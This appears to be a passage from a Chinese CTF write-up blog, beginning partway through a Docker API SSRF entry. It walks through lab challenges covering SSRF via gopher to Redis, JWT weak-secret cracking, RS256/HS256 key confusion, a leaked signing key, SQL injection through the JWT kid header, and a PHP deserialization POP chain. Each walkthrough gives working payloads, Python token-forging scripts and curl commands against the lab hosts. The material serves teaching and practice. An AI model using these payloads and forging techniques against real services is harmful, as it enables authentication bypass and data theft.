  2. Docker API 利用 — Docker API 默认无认证,通过 SSRF 可以列出容器、创建 exec、执行命令
  3. exec 流格式 — Docker exec API 的 TTY 参数影响输出格式,Tty:true 返回原始文本适合 SSRF 场景

Flag: flag{de3aff20-53b5-40d3-bdbc-88a738997ff0}

EZSSRF_6(SSRF + gopher 协议 Redis 未授权访问)

漏洞类型: 服务端请求伪造(SSRF)— gopher 协议 + Redis 未授权访问

题目分析:

目标是一个 “URL请求器” 页面,仅提供 URL 输入框,服务端代为请求用户输入的地址。

关键点:

  • 表单仅一个 URL 输入框,POST 提交
  • 支持 http/https/gopher 协议(dict:// 等不支持)
  • file:// 返回 “Invalid URL”
  • HTML 无注释、无明显提示

攻击思路: 通过 SSRF 探测内网服务 → 发现 Redis 存储 flag → 用 gopher 协议发送 Redis 命令获取 flag

Step 1:确认 SSRF 可用

1
url=http://127.0.0.1/

返回 Status: 200,页面内容为自身,SSRF 正常工作。

Step 2:探测内网端口

1
url=http://127.0.0.1:6379/

返回 “Empty reply from server” — 端口开放但不返回 HTTP(Redis 服务)。

Step 3:读取 robots.txt 发现配置文件

1
url=http://127.0.0.1/robots.txt

返回:

1
2
User-agent: *
Disallow: /config.bak

Step 4:读取 config.bak 发现 Redis 存储 flag

1
url=http://127.0.0.1/config.bak

返回:

1
redis-cli -h 127.0.0.1 -p 6379 SET flag "$FLAG" >/dev/null

确认 flag 存储在 Redis 的 flag 键中。

Step 5:用 gopher 协议访问 Redis(踩坑:连接超时)

Redis 使用 RESP 协议,不返回 HTTP 响应。用 gopher 发送简单命令:

1
url=gopher://127.0.0.1:6379/_GET%20flag%0D%0A

返回 “Operation timed out after 4002 milliseconds with 49 bytes received” — Redis 确实返回了数据(49 字节),但连接未关闭导致超时,SSRF 脚本不显示错误时的响应内容。

Step 6:使用 RESP 协议 + 流水线 QUIT 获取 flag(关键)

问题在于 Redis 保持连接等待更多命令。解决方案:使用 RESP 协议 发送命令并用 流水线(pipeline) 方式追加 QUIT 命令,让 Redis 执行完后主动关闭连接。

1
url=gopher://127.0.0.1:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%244%0D%0Aflag%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A

URL 解码后的 RESP 数据:

1
*2\r\n$3\r\nGET\r\n$4\r\nflag\r\n*1\r\n$4\r\nQUIT\r\n

服务端返回:

1
2
3
$42
flag{0f9d1155-c030-4996-9b7e-c0d999274f44}
+OK

其中 $42 是 RESP 协议的批量字符串长度前缀,+OK 是 QUIT 命令的响应。

⚠️ 关键踩坑点:

  1. 连接超时问题 — Redis 默认保持连接,gopher 发送单条命令后连接不关闭,SSRF 脚本超时不显示响应内容
  2. 解决方法 — 在 RESP 流水线中追加 QUIT 命令(*1\r\n$4\r\nQUIT\r\n),Redis 执行完 GET 后处理 QUIT 主动关闭连接
  3. RESP 协议格式 — 必须使用 RESP 二进制协议(*N\r\n$Len\r\n...),不能用内联协议(GET flag\r\n),否则 Redis 可能无法正确解析

Flag: flag{0f9d1155-c030-4996-9b7e-c0d999274f44}

EZJWT

EZJWT(JWT 弱密钥破解)

漏洞类型: JWT(JSON Web Token)弱密钥 / 弱密钥签名绕过

题目分析:

目标是一个"安全审计控制台"页面,页面内容受 JWT 权限控制。首次访问时服务端会发放一个 role: guest 的 JWT Cookie,只有 role: admin 的用户才能看到 flag。

关键点:

  • 首次访问 / 会获得两个 Cookie:boot_idauth_token(JWT)
  • auth_token 的 JWT 使用 HS256 算法签名,payload 中包含 usernamerole 字段
  • 页面检查 role 值,只有 admin 权限才会在页面上显示 flag
  • JWT 签名密钥为弱密钥,可被爆破破解
  • 需要同时携带 boot_idauth_token 两个 Cookie 才能正常获取页面内容

攻击思路: 获取服务端发放的 JWT → 分析 JWT 结构 → 爆破弱密钥 → 伪造 admin 角色的 JWT → 替换 Cookie 获取 flag

Step 1:获取并分析 JWT

首次访问页面,服务端通过 Set-Cookie 返回 JWT:

1
curl -v http://docker.qingcen.net:45776/

响应头中包含:

1
2
Set-Cookie: boot_id=8ea0fc7814176631; ...
Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.2s6Ssv1pE5dLPJUWfaVI2apGc2nNC3jAhydYOrwOrMw; ...

Step 2:解码 JWT

将 JWT 的三段用 base64 解码:

1
2
3
4
5
6
7
# Header
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
# {"typ":"JWT","alg":"HS256"}

# Payload
echo "eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0" | base64 -d
# {"username":"guest","role":"guest"}

分析得出:

  • 算法:HS256(HMAC-SHA256 对称签名)
  • 身份:username: guest, role: guest
  • 目标:将 role 篡改为 admin

Step 3:爆破 JWT 密钥

HS256 使用共享密钥签名,服务端若使用弱密钥则可被爆破。用常见弱密钥字典尝试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import hmac, hashlib, base64

header_payload = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0"
expected_sig = "2s6Ssv1pE5dLPJUWfaVI2apGc2nNC3jAhydYOrwOrMw"

secrets = ["secret", "password", "123456", "admin", "key", "jwt_secret", "jwt", "test",
           "flag", "root", "changeme", "default", "guest", "ezjwt", "qingcen"]

for s in secrets:
    sig = base64.urlsafe_b64encode(
        hmac.new(s.encode(), header_payload.encode(), hashlib.sha256).digest()
    ).rstrip(b'=').decode()
    if sig == expected_sig:
        print(f"密钥是: {s}")
        break

结果:密钥为 secret(最常见的 JWT 弱密钥之一)。

Step 4:伪造 admin 角色的 JWT

用破解的密钥签发一个 role: admin 的新 JWT:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import hmac, hashlib, base64, json

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url_encode(json.dumps({"typ":"JWT","alg":"HS256"}, separators=(',',':')).encode())
payload = b64url_encode(json.dumps({"username":"admin","role":"admin"}, separators=(',',':')).encode())
header_payload = f"{header}.{payload}"
sig = base64.urlsafe_b64encode(
    hmac.new(b"secret", header_payload.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()

print(f"{header_payload}.{sig}")

生成的 admin JWT:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.bFjUBp21E-EN4dQKynzRDrSriibsoxmcE3eM59n15N0

Step 5:携带伪造 JWT 获取 Flag

⚠️ 关键踩坑点:必须同时携带 boot_idauth_token 两个 Cookie,否则页面返回空白。

1
curl -s -b "boot_id=8ea0fc7814176631; auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.bFjUBp21E-EN4dQKynzRDrSriibsoxmcE3eM59n15N0" http://docker.qingcen.net:45776/

页面返回完整的"安全审计控制台",权限显示为 admin,flag 出现在页面中:

Flag: flag{fe87638b-01bb-4be0-ac4f-94159d6ebdec}

EZJWT_1(RSA Key Confusion 算法混淆攻击)

漏洞类型: JWT 算法混淆攻击(RSA Key Confusion / Algorithm Confusion)

题目分析:

目标页面与 EZJWT 相同,是一个"安全审计控制台",但本题使用了 RS256(RSA-SHA256 非对称签名)而非 HS256。页面泄露了 RSA 公钥,可通过算法混淆绕过签名验证。

关键点:

  • JWT 使用 RS256 算法(alg: RS256),payload 中 role: guest
  • 页面暴露了 RSA 公钥路径 /pubkey.pem(实际路径 /var/www/html/pubkey.pem
  • /private.pem 存在但返回 403 禁止访问
  • 页面提示"采用了非对称加密技术来确保系统安全"
  • 服务端在验证 JWT 时,若 alg 为 HS256,会错误地使用 RSA 公钥的 PEM 文件内容作为 HMAC 密钥

攻击原理:

RSA Key Confusion 是 JWT 中经典的算法混淆漏洞。当服务端同时支持 RS256 和 HS256 时:

  • RS256 使用私钥签名、公钥验证(非对称)
  • HS256 使用同一个密钥签名和验证(对称)

如果攻击者将 JWT 头部的 algRS256 改为 HS256,服务端会用 RSA 公钥 作为 HMAC 密钥来验证签名。由于攻击者拥有公钥,可以自行生成合法的 HMAC 签名。

攻击思路: 获取公钥 → 将 JWT 算法改为 HS256 → 用公钥 PEM 文件内容作为 HMAC 密钥签名 → 伪造 admin 角色 JWT

Step 1:分析 JWT 结构

1
curl -v http://docker.qingcen.net:49583/

解码 Cookie 中的 JWT:

1
2
3
4
5
6
7
# Header
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9" | base64 -d
# {"typ":"JWT","alg":"RS256"}

# Payload
echo "eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0" | base64 -d
# {"username":"guest","role":"guest"}

Step 2:获取 RSA 公钥

页面源码中泄露了公钥路径:

1
curl -s http://docker.qingcen.net:49583/pubkey.pem

返回:

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDJD/WErY8fElq7aA2YvqsWOJZU
Mjixom30Bkl1b3/N19D6ePeISdZDmLTLyuOu20zDd7NWiGnrjM0XTJz1C3BB/E0e
wU7hFmugmmn5B2Gc+K0c2TbPcY72Bx79US1j30kH1DY4nCy9AELDYaSQCfL/tLQa
gk+CSSd5e4HF0CkQvQIDAQAB
-----END PUBLIC KEY-----

Step 3:RSA Key Confusion — 伪造 admin JWT

algRS256 改为 HS256,用公钥 PEM 文件的原始字节作为 HMAC 密钥签名:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import hmac, hashlib, base64, json

# 读取公钥 PEM 文件原始内容
pem_content = open('pubkey.pem', 'rb').read()

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# 将 alg 改为 HS256
header = b64url_encode(json.dumps({"typ":"JWT","alg":"HS256"}, separators=(',',':')).encode())
payload = b64url_encode(json.dumps({"username":"admin","role":"admin"}, separators=(',',':')).encode())
header_payload = f"{header}.{payload}"

# 用 PEM 文件原始字节作为 HMAC 密钥签名
sig = base64.urlsafe_b64encode(
    hmac.new(pem_content, header_payload.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()

print(f"{header_payload}.{sig}")

生成的伪造 JWT:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.NPDfQbMlomaWECXfQ6-IzJY1NPP1mVvE9Gwt5mPeTq8

⚠️ 关键踩坑点: 必须使用 PEM 文件的原始字节(含 -----BEGIN PUBLIC KEY----- 头尾和换行符)作为 HMAC 密钥,而不是 DER 编码的二进制数据。

Step 4:携带伪造 JWT 获取 Flag

1
curl -s -b "boot_id=2016cb6763be2db8; auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.NPDfQbMlomaWECXfQ6-IzJY1NPP1mVvE9Gwt5mPeTq8" http://docker.qingcen.net:49583/

页面返回"安全审计控制台",权限显示为 admin,flag 出现在页面中。

Flag: flag{7892ef74-1e2f-44ff-b911-b6510d8475e6}

EZJWT_2(JWT 签名密钥泄露)

漏洞类型: JWT 签名密钥泄露 / 敏感文件暴露

题目分析:

目标页面与前两题相同,是一个"安全审计控制台",使用 HS256 算法签名的 JWT。本题的核心考点是 签名密钥被泄露在可访问的文件路径中

关键点:

  • JWT 使用 HS256 算法,头部包含 kid(Key ID)字段,值为 key1
  • kid 通常用于标识签名密钥,服务端会根据 kid 值去查找对应的密钥
  • /keys/ 目录存在但返回 403 禁止目录列表
  • /keys/key1 文件可直接访问,返回签名密钥明文

攻击思路: 发现 /keys/ 目录 → 枚举密钥文件 → 获取签名密钥 → 伪造 admin 角色 JWT

Step 1:分析 JWT 结构

1
curl -v http://docker.qingcen.net:38658/

解码 Cookie 中的 JWT:

1
2
3
4
5
6
7
# Header
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ" | base64 -d
# {"typ":"JWT","alg":"HS256","kid":"key1"}

# Payload
echo "eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0" | base64 -d
# {"username":"guest","role":"guest"}

注意头部多了 kid: key1 字段,这是密钥标识符。

Step 2:发现密钥文件

通过路径枚举发现 /keys/ 目录存在(返回 403),尝试直接访问密钥文件:

1
curl -s http://docker.qingcen.net:38658/keys/key1

返回签名密钥明文:

1
QCCTFyyds

⚠️ 漏洞本质: 服务端将 JWT 签名密钥存放在 Web 可访问的 /keys/ 目录下,且文件无访问控制,任何人都可以直接读取。

Step 3:伪造 admin JWT

用泄露的密钥签发 role: admin 的 JWT:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import hmac, hashlib, base64, json

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url_encode(json.dumps({"typ":"JWT","alg":"HS256","kid":"key1"}, separators=(',',':')).encode())
payload = b64url_encode(json.dumps({"username":"admin","role":"admin"}, separators=(',',':')).encode())
header_payload = f"{header}.{payload}"

# 用泄露的密钥签名
sig = base64.urlsafe_b64encode(
    hmac.new(b"QCCTFyyds", header_payload.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()

print(f"{header_payload}.{sig}")

生成的伪造 JWT:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.bNwwA6GpyrQ5Ng56ShL_huKc_0oHS7d9d2UwwRhbgBc

Step 4:携带伪造 JWT 获取 Flag

1
curl -s -b "boot_id=89acab29344d61a5; auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.bNwwA6GpyrQ5Ng56ShL_huKc_0oHS7d9d2UwwRhbgBc" http://docker.qingcen.net:38658/

页面返回"安全审计控制台",权限显示为 admin,flag 出现在页面中。

Flag: flag{4b331b4a-92cd-4a6f-a7a4-8e71370e321a}

EZJWT_3(JWT kid 参数 SQL 注入)

漏洞类型: JWT Header kid 参数 SQL 注入 → 密钥窃取/绕过签名验证

题目分析:

目标页面与前几题相同,是一个"安全审计控制台",使用 HS256 算法签名的 JWT。但本题的签名密钥存储在 MySQL 数据库中,且 kid 参数存在 SQL 注入漏洞。

关键点:

  • JWT 使用 HS256 算法,头部包含 kid: "main-key" 字段
  • 签名密钥存储在 MySQL 的 jwt_keys 表中(kidsecret 两列)
  • index.php.bak 备份文件泄露了完整源码
  • find_secret() 函数直接将 kid 拼接到 SQL 语句中,未做任何过滤和转义

源码关键片段(index.php.bak):

1
2
3
4
5
6
function find_secret(mysqli $db, string $kid)
{
    $sql = "SELECT secret FROM jwt_keys WHERE kid = '" . $kid . "' LIMIT 1";
    $result = $db->query($sql);
    // ...
}

$kid 直接来自 JWT Header 中的 kid 字段,用户完全可控。

攻击思路: 通过 kid 参数注入 SQL → 用 UNION SELECT 让查询返回一个已知密钥 → 用该密钥伪造 admin 角色的 JWT → 获取 flag

Step 1:发现备份文件泄露源码

1
curl http://docker.qingcen.net:39652/index.php.bak

源码泄露了数据库连接信息、SQL 查询逻辑以及 flag 文件路径 /flag_bei_conquer_eat_le_bu_zai_zhe_li

Step 2:分析 SQL 注入点

find_secret() 中的 SQL 语句:

1
SELECT secret FROM jwt_keys WHERE kid = '$kid' LIMIT 1

通过控制 kid 值,可以注入 UNION SELECT 让查询返回任意字符串作为密钥。

Step 3:构造 SQL 注入 Payload

注入 kid = ' UNION SELECT 'mysecret' -- -,使最终 SQL 变为:

1
SELECT secret FROM jwt_keys WHERE kid = '' UNION SELECT 'mysecret' -- -' LIMIT 1

查询将返回 mysecret 作为签名密钥,这是一个我们已知的值。

Step 4:用注入的密钥伪造 admin JWT

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import base64, json, hmac, hashlib

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# SQL 注入的 kid 值
sqli_kid = "' UNION SELECT 'mysecret' -- -"

header = b64url_encode(json.dumps({"typ":"JWT","alg":"HS256","kid":sqli_kid}, separators=(',',':')).encode())
payload = b64url_encode(json.dumps({"username":"admin","role":"admin"}, separators=(',',':')).encode())
header_payload = f"{header}.{payload}"

# 用已知密钥签名
sig = base64.urlsafe_b64encode(
    hmac.new(b"mysecret", header_payload.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()

print(f"{header_payload}.{sig}")

Step 5:携带伪造 JWT 获取 Flag

1
curl -s -b "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IicgVU5JT04gU0VMRUNUICdteXNlY3JldCcgLS0gLSJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.HpGYoUHQqe5c0d9soDVGOraGd6egtpKE7mwm9xChdJo" http://docker.qingcen.net:39652/

页面返回"安全审计控制台",权限显示为 admin,flag 出现在页面中。

分析: 本题综合考察了两个关键点:

  1. 敏感文件泄露index.php.bak 泄露了完整 PHP 源码,暴露了 SQL 注入漏洞和数据库结构
  2. JWT kid SQL 注入kid 参数直接拼接到 SQL 查询中,通过 UNION SELECT 注入可控密钥,从而伪造任意角色的 JWT

Flag: flag{183315a0-7f7a-4ef6-85d1-cc48b4126a35}

EZPOP

EZPOP(基础 PHP 反序列化 — __destruct 魔术方法触发)

漏洞类型: PHP 对象注入(POP - PHP Object Injection)— unserialize() + __destruct 魔术方法

题目分析:

页面直接展示了 PHP 源码,核心逻辑非常简单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
$flag = file_get_contents("/flag");
class ShowFlag {
    public $show = false;
    public function __destruct() {
        if ($this->show) {
            echo $GLOBALS['flag'];
        }
    }
}
highlight_file(__FILE__);
if (isset($_GET['data'])) {
    unserialize($_GET['data']);
}
?>

关键点:

  • $flag 变量通过 file_get_contents("/flag") 读取 flag 文件内容,存储在全局变量 $GLOBALS['flag']
  • ShowFlag 类的 __destruct() 析构方法会在对象销毁时自动调用
  • $this->showtrue 时,__destruct()echo $GLOBALS['flag'] 输出 flag
  • 用户通过 $_GET['data'] 传入的数据会直接传给 unserialize() 进行反序列化

攻击思路: 构造一个 ShowFlag 对象,将 $show 属性设为 true,序列化后通过 data 参数传入 → unserialize() 还原对象 → 脚本结束时 __destruct() 被触发 → $showtrue → 输出 flag

Step 1:分析源码,确定利用链

反序列化利用链:

  1. unserialize($_GET['data']) — 用户可控输入
  2. 还原 ShowFlag 对象,$show 属性被设为 true
  3. 脚本执行结束,PHP 引擎销毁对象,触发 __destruct()
  4. if ($this->show) 条件成立,echo $GLOBALS['flag'] 输出 flag

Step 2:构造序列化 Payload

在 PHP 中,序列化一个 ShowFlag 对象($show = true)的结果:

1
O:8:"ShowFlag":1:{s:4:"show";b:1;}

格式说明:

  • O:8:"ShowFlag" — 对象(Object),类名长度 8
  • 1 — 有 1 个属性
  • s:4:"show" — 字符串属性名,长度 4,值为 show
  • b:1 — 布尔值,true

Step 3:提交 Payload 获取 Flag

1
GET /?data=O:8:%22ShowFlag%22:1:{s:4:%22show%22;b:1;}

服务端 unserialize() 还原对象后,脚本结束时 __destruct() 自动执行。注意 flag 输出在 highlight_file() 生成的 HTML </code> 标签之后(因为析构在脚本最后才触发),需要查看完整 HTTP 响应才能看到。

1
curl -s -G --data-urlencode 'data=O:8:"ShowFlag":1:{s:4:"show";b:1;}' "http://target/" | grep -oP 'flag\{[^}]+\}'

Flag: flag{f94fa85e-7281-44de-ab33-fd8c99662f0a}1

EZPOP_1

EZPOP_2

EZPOP_3

EZPOP_4

EZPOP_5

EZPOP_6

EZPOP_7

EZPOP_8

Licensed under CC BY-NC-SA 4.0